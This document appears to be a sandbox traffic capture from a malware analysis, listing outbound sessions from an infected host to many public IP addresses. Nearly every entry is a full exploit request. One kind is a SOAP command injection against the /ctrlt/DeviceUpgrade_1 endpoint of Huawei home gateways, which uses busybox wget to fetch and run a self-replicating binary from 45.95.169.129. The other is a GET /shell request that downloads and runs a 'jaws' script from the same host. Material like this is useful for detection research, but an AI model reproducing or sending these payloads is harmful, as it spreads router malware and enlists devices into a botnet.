Jan 30, 2025 10:43:06.136039019 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.14	42848	41.175.68.121	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.136640072 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.14	36896	197.103.208.53	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.137258053 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.14	52392	197.182.19.162	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.160129070 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.14	36912	41.158.143.19	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.160780907 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.14	46706	197.24.241.187	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.224205971 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.14	34772	156.134.211.68	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.224862099 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.14	52606	156.107.19.155	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.225472927 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.14	46392	41.227.124.233	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:07.191963911 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	56316	86.228.157.254	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:07.535648108 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	33456	113.2.250.15	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:07.536328077 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	58678	71.61.126.160	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:07.537022114 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	46994	164.58.176.234	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:07.537754059 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	55780	41.228.115.4	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:08.232337952 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 